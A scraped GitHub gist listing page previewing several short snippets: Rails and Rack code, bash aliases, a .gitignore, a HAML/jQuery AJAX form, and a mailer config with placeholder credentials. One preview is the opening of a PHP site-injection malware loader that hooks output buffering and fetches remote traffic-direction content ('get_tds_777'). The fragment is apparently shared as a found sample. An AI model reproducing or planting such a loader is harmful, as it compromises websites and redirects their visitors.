This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This file is used by Rack-based servers to start the application. | |
require ::File.expand_path('../config/environment', __FILE__) | |
class TestMiddleware | |
def initialize(app) | |
@app = app | |
end | |
def call(env) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Amy's Bash .profile or .bash_profile aliases | |
# Unix, Git, Memcached | |
alias cls='clear' | |
alias dir='ls -alF' | |
alias e='emacs -nw' | |
alias gitcp='git cherry-pick' | |
alias gitl='git log --pretty=oneline -3 --color --name-status | cat' | |
alias gitl25='git log --pretty=oneline -25 --color | cat' | |
alias gitlf='git log --pretty=full -5 --color --name-status | cat' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
*.gem | |
.bundle | |
.gitignore.swp | |
.sass* | |
config/database.yml | |
config/s3.yml | |
db/*sqlite* | |
db/schema.rb | |
doc/* | |
log/* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
= form_for @my_model, :remote => true do |f| | |
= f.label :name | |
= f.text_field :name | |
= f.label :address, 'Address' | |
= f.text_area :address | |
%input.submit-button{:type => 'button', :value => 'Add Entry'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('form .submit-button').click(function () { $(this).parents('form:first').submit(); }); | |
$('form').bind('ajax:success', function () { alert('it works'); }); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def create | |
@my_model = MyModel.new(params[:my_model]) | |
respond_to do |format| | |
if @my_model.save | |
format.html { redirect_to(my_models_path, :notice => 'Success') } | |
format.js { render :json => { :success => true, :message => "Success"} } | |
format.xml { render :xml => @my_model, :status => :created, :location => @my_model } | |
else | |
format.html { render :action => "new" } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def create | |
@my_model = MyModel.new(params[:my_model]) | |
respond_to do |format| | |
if @my_model.save | |
format.html { redirect_to(my_models_path, :notice => 'Success') } | |
format.js { render :json => { :success => true, :message => "Success"}, :content_type => 'text/json' } | |
format.xml { render :xml => @my_model, :status => :created, :location => @my_model } | |
else | |
format.html { render :action => "new" } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { | |
$_SERVER['mr_no'] = 1; | |
if (!function_exists('mrobh')) { | |
function get_tds_777($url) { | |
$content = ""; | |
$content = @trycurl_777($url); | |
if ($content !== false) return $content; | |
$content = @tryfile_777($url); | |
if ($content !== false) return $content; | |
$content = @tryfopen_777($url); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def a | |
# Should error because it's not assigned in the current scope. | |
puts foobar | |
end | |
def b | |
# This code path isn't run but it's still in the same scope. | |
if false | |
foobar = 123 | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
config.action_mailer.raise_delivery_errors = true | |
config.action_mailer.default_url_options = { :host => 'YOURDOMAIN.com'} | |
config.action_mailer.smtp_settings = { | |
:address => 'email-smtp.us-east-1.amazonaws.com', # See the SES SMTP Settings dashboard | |
:port => '25', | |
:domain => 'YOURDOMAIN.com', # Your domain | |
:user_name => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS! | |
:password => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS! | |
:authentication => :login | |
} |
OlderNewer